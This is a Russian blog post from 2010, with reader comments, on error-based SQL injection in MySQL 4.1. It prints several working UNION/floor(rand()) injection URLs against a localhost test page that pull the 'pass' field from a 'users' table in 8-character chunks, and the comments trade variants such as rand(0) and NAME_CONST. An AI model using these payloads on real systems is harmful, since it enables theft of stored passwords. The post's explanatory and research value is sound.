Особенность использования информации об ошибке в MySQL 4.1
filed in Методы и техники, Практика on Mar.04, 2010
Сегодня столкнулся с реализацией вывода полезной информации из БД через инъекцию в сообщению об ошибке.
Воспользовался техниками Qwazar, здоровья ему и попутного ветра.
Версия СУБД была 4ой, поэтому идея с rand(0) (в комметариях Д.Евтеева) отвалилась, использовал вероятностный подход.
Результат функции version() попал в ошибку практически сразу, а вот на этапе получения данных пришлось труднее.
Общаясь параллельно с Д.Евтеевым, мы быстро прикинули, что где-то есть подстава, потому как чудес не свете не бывает
Сначала мысль была, что на моей подопытной СУБД не выходит доставать в ошибку именно текстовые поля, потому что ID туда нормально попадало.
Но после нескольких экспериментов стало ясно, что в ошибку не идет именно текст из-за его длины, в итоге запрос типа:
http://localhost/sql.php?id=1+UNION+select+1,count(*), concat((select pass from users limit 1),0x3a, floor(rand()*2))+x+from+users+group+by+x
Пришлось разбить на 4 запроса:
http://localhost/sql.php?id=1+UNION+select+1,count(*), concat((select substring(pass,1,8) from users limit 1), 0x3a,floor(rand()*2))+x+from+users+group+by+x http://localhost/sql.php?id=1+UNION+select+1,count(*), concat((select substring(pass,8,8) from users limit 1), 0x3a,floor(rand()*2))+x+from+users+group+by+x http://localhost/sql.php?id=1+UNION+select+1,count(*), concat((select substring(pass,16,8) from users limit 1), 0x3a,floor(rand()*2))+x+from+users+group+by+x http://localhost/sql.php?id=1+UNION+select+1,count(*), concat((select substring(pass,24,8) from users limit 1), 0x3a,floor(rand()*2))+x+from+users+group+by+x
Возможно, удалось бы и на 3, не проверял, точно могу сказать, что 16 символов уже не пролезает.
Таким образом, либо вероятность длинного запроса на версии 4.1 очень мала (1000 запросов прошли без ошибки), либо просто не выходит внести в сообщение об ошибке большое количество символов (8<=x<16).
Причины такого странного поведения можно пообсуждать, в то, что вероятность зависит от длины как-то совсем не вериться.
http://localhost/sql.php?id=1+UNION+select+1,count(*),concat((select pass from users limit 1),0x3a,floor(rand()*2))+x+from+users+group+by+x
March 5th, 2010 on 2:32 am
Привет.
Отпишу пару мыслей по поводу прочитанного:
1) rand(0) ничего не мешает использовать и в 4-й версии. Пример я приводил ранее в комментах к статье Qwazar’a https://forum.antichat.ru/showpost.php?p=1796647&postcount=20
2) так же в той теме я описывал возможную проблему при извлечении данных из БД данным способом, связанную с длиной даже не извлекаемых данных, а размерностью колонки, хранящей их: https://forum.antichat.ru/showpost.php?p=1802753&postcount=21 Там я приводил пример опробованный в 5-й ветке, но, возможно, в 4-й версии MySQL присутствует нечто подобное.
March 5th, 2010 on 10:43 am
Собственно, мы с Д. Евтеевым с таким столкнулись буквально позавчера. Правда он еще не в курсе)) Но версия оказалась 5.0.50 поэтому я использовал NAME_CONST. Я задумался о том, что результат вывода зависит от длины строки, но не подумал о возможности разбить на подстроки… Проверить можно одним “легким” способом – поставить минимальную длину, на которой не выводит сообщение об ошибке и долбить Enter (ну или “долбилку” написать =) Если в пределах 1000-2000 запросов не вылезет сообщение об ошибке – значит 99% вероятность, что режет по длине.
March 5th, 2010 on 11:11 am
Огромное спасибо за ссылки. Действительно похоже на размерность колонки, только вот с тоже substring() действительно работает
За исследование отдельное спасибо.
March 22nd, 2010 on 9:51 pm
Спасибо за полезные замечания
И за пожелания!